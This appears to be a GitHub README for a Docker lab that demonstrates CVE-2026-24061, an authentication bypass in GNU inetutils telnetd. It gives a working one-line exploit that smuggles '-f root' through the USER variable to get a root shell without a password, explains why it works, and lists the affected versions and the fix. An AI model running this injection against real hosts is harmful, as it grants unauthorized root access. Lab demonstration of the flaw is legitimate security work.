jakeswiz/telnet-inetutils-auth-bypass-cve-2026-24061This is a simple PoC that allows you to highlight the severity of the ongoing and actively exploited Telnet bug that is going on right now. Why people are still using Telnet... beyond me.
A Docker lab to demonstrate CVE-2026-24061 — a critical authentication bypass vulnerability in GNU inetutils telnetd that went unpatched for 11 years.
Telnetd passes the USER environment variable directly to /usr/bin/login without sanitization. The login binary has a -f flag that skips authentication (intended for pre-authenticated sessions). By setting USER='-f root', an attacker tricks login into granting root access without a password.
Affected versions: GNU inetutils 1.9.3 (March 2015) through 2.7 CVSS Score: 9.8 (Critical) Fix: Update to inetutils 2.8+
# Build the image
docker build -t telnetd-exploit .
# Run the container (drops you into a shell as user1)
docker run --rm -it telnetd-exploit
# Exploit — get root without a password
USER='-f root' telnet -a localhost
You'll land in a root shell. Run whoami to confirm.
1. Client connects with: USER='-f root' telnet -a localhost
2. telnetd receives USER environment variable: "-f root"
3. telnetd executes: /usr/bin/login -f root
4. login interprets -f as "skip authentication, user is pre-verified"
5. Attacker gets root shell — no password required
The -f flag is legitimate — it's for scenarios where a user is already authenticated (e.g., from a trusted local session). The bug is that telnetd doesn't sanitize the USER variable before passing it to login, allowing remote attackers to inject the flag.
As of January 2026:
Even without this bug, Telnet transmits everything in plaintext — including passwords. Use SSH instead.
| Protocol | Encryption | Authentication |
|---|---|---|
| Telnet | None | Plaintext |
| SSH | Yes | Key/Password |
.
├── Dockerfile # Builds vulnerable Debian container
├── docker-entrypoint.sh # Starts inetd, drops to user1
└── README.md
Lab based on leonjza/inetutils-telnetd-auth-bypass